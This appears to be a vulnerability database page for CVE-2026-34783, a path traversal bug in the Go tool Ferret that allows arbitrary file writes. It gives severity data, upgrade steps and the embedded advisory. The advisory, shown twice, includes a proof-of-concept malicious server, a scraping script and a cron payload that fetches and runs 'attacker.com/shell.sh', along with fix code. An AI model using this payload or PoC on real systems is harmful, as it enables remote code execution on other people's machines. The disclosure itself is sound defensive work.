CVE-2026-34783: Ferret Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-j6v5-g24h-vg4j
CVSS 8.1
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-34783 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Ferret libraries in the Go ecosystem. The issue involves path traversal in io::fs::write allows arbitrary file write when scraping malicious websites. Remediation is available by upgrading affected packages to version 2.0.0-alpha.4.

CVE-2026-34783 at a Glance

CVE Identifier CVE-2026-34783
GHSA Identifier GHSA-j6v5-g24h-vg4j
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Ferret
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34783

To remediate this vulnerability, upgrade all affected Ferret dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/MontFerret/ferret/v2 fixed: 2.0.0-alpha.4
Upgrade github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4
github.com/MontFerret/ferret fixed: Latest secure release
Upgrade github.com/MontFerret/ferret to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/MontFerret/ferret/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34783, inspect your project dependencies for Ferret:

inspect dependencies for github.com/MontFerret/ferret/v2

Analyze the terminal output to locate any version of Ferret in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-alpha.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Ferret, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. ## Exploitation The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern. ### Attack Flow 1. The attacker serves a JSON API with crafted filenames containing `../` traversal: ```json [ {"name": "legit-article", "content": "Normal content."}, {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"} ] ``` 2. The victim runs a standard scraping script: ```fql LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"}) LET articles = JSON_PARSE(TO_STRING(response)) FOR article IN articles LET path = "/tmp/ferret_output/" + article.name + ".txt" IO::FS::WRITE(path, TO_BINARY(article.content)) RETURN { written: path, name: article.name } ``` 3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt` 4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory 5. The attacker achieves arbitrary file write with controlled content, leading to code execution. ### Realistic Targets | Target Path | Impact | |-------------|--------| | `/etc/cron.d/<name>` | Command execution via cron | | `~/.ssh/authorized_keys` | SSH access to the machine | | `~/.bashrc` or `~/.profile` | Command execution on next login | | `/var/www/html/<name>.php` | Web shell | | Application config files | Credential theft, privilege escalation | ## Proof of Concept ### Files Three files are provided in the `poc/` directory: **`evil_server.py`** -- Malicious web server returning traversal payloads: ```python """Malicious server that returns filenames with path traversal.""" import json from http.server import HTTPServer, BaseHTTPRequestHandler class EvilHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/api/articles": self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() payload = [ {"name": "legit-article", "content": "This is a normal article."}, {"name": "../../tmp/pwned", "content": "ATTACKER_CONTROLLED_CONTENT\n" "# * * * * * root curl http://attacker.com/shell.sh | sh\n"}, ] self.wfile.write(json.dumps(payload).encode()) else: self.send_response(404) self.end_headers() if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 9444), EvilHandler) print("Listening on :9444") server.serve_forever() ``` **`scrape.fql`** -- Innocent-looking Ferret scraping script: ```fql LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"}) LET articles = JSON_PARSE(TO_STRING(response)) FOR article IN articles LET path = "/tmp/ferret_output/" + article.name + ".txt" LET data = TO_BINARY(article.content) IO::FS::WRITE(path, data) RETURN { written: path, name: article.name } ``` **`run_poc.sh`** -- Orchestration script (expects the server to be running separately): ```bash #!/bin/bash set -e SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" FERRET="$REPO_ROOT/bin/ferret" echo "=== Ferret Path Traversal PoC ===" [ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go) rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output echo "[*] Running scrape script..." "$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true if [ -f "/tmp/pwned.txt" ]; then echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory" cat /tmp/pwned.txt fi ``` ### Reproduction Steps ```bash # Terminal 1: start malicious server python3 poc/evil_server.py # Terminal 2: build and run go build -o ./bin/ferret ./test/e2e/cli.go bash poc/run_poc.sh # Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/ cat /tmp/pwned.txt ``` ### Observed Output ``` === Ferret Path Traversal PoC === [*] Running innocent-looking scrape script... [{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"}, {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}] === Results === [*] Files in intended output directory (/tmp/ferret_output/): -rw-r--r-- 1 user user 46 Mar 27 18:23 legit-article.txt [!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory! Contents: ATTACKER_CONTROLLED_CONTENT # * * * * * root curl http://attacker.com/shell.sh | sh ``` ## Suggested Fix ### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ` Resolve the path and verify it doesn't contain `..` after cleaning: ```go func safePath(userPath string) (string, error) { cleaned := filepath.Clean(userPath) if strings.Contains(cleaned, "..") { return "", fmt.Errorf("path traversal detected: %q", userPath) } return cleaned, nil } ``` ### Option 2: Base directory enforcement (stronger) Add an optional base directory that FS operations are jailed to: ```go func safePathWithBase(base, userPath string) (string, error) { absBase, _ := filepath.Abs(base) full := filepath.Join(absBase, filepath.Clean(userPath)) resolved, err := filepath.EvalSymlinks(full) if err != nil { return "", err } if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) { return "", fmt.Errorf("path %q escapes base directory %q", userPath, base) } return resolved, nil } ``` ## Root Cause `IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization: ```go file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666) ``` There is no: - Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`) - Base directory enforcement (checking the resolved path stays within an intended directory) - Traversal sequence rejection (blocking `..` components) - Symlink resolution The same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`): ```go data, err := os.ReadFile(path.String()) ``` The `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join("/output", "../../etc/cron.d/evil")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.

CVE-2026-34783 Affected Ferret Versions

2 component(s)
Fixed Versions:
2.0.0-alpha.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/MontFerret/ferret/v2
Go
< 2.0.0-alpha.4
2.0.0-alpha.4
github.com/MontFerret/ferret
Go
≤ 0.18.1

References

Frequently Asked Questions

What is CVE-2026-34783?
CVE-2026-34783 is a security vulnerability in Ferret involving Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites under CWE-73: External Control of File Name or Path.
Which Ferret versions are affected?
Affected versions include releases prior to 2.0.0-alpha.4 across affected packages: github.com/MontFerret/ferret/v2, github.com/MontFerret/ferret.
What version fixes CVE-2026-34783?
Upgrading to 2.0.0-alpha.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/MontFerret/ferret/v2 affected?
Yes, github.com/MontFerret/ferret/v2 is affected in releases prior to 2.0.0-alpha.4. Upgrade your dependency to 2.0.0-alpha.4 or later.
Is github.com/MontFerret/ferret affected?
Yes, github.com/MontFerret/ferret is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34783?
CVE-2026-34783 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-34783?
CVE-2026-34783 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for CVE-2026-34783?
Run the dependency tree command: 'inspect dependencies for github.com/MontFerret/ferret/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j6v5-g24h-vg4j",
  "modified" : "2026-04-06T23:25:19Z",
  "published" : "2026-04-01T23:37:29Z",
  "aliases" : [ "CVE-2026-34783" ],
  "summary" : "Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites",
  "details" : "## Summary\n\nA path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n  {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n  {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    IO::FS::WRITE(path, TO_BINARY(article.content))\n    RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/<name>` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/<name>.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/api/articles\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            payload = [\n                {\"name\": \"legit-article\",\n                 \"content\": \"This is a normal article.\"},\n                {\"name\": \"../../tmp/pwned\",\n                 \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n                            \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n            ]\n            self.wfile.write(json.dumps(payload).encode())\n        else:\n            self.send_response(404)\n            self.end_headers()\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n    print(\"Listening on :9444\")\n    server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    LET data = TO_BINARY(article.content)\n    IO::FS::WRITE(path, data)\n    RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] && (cd \"$REPO_ROOT\" && go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2>/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n    echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n    cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n    Contents:\n    ATTACKER_CONTROLLED_CONTENT\n    # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn't contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n    cleaned := filepath.Clean(userPath)\n    if strings.Contains(cleaned, \"..\") {\n        return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n    }\n    return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n    absBase, _ := filepath.Abs(base)\n    full := filepath.Join(absBase, filepath.Clean(userPath))\n    resolved, err := filepath.EvalSymlinks(full)\n    if err != nil {\n        return \"\", err\n    }\n    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n    }\n    return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/MontFerret/ferret/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0-alpha.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/MontFerret/ferret"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.18.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34783"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MontFerret/ferret"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:37:29Z",
    "nvd_published_at" : "2026-04-06T17:17:10Z"
  }
}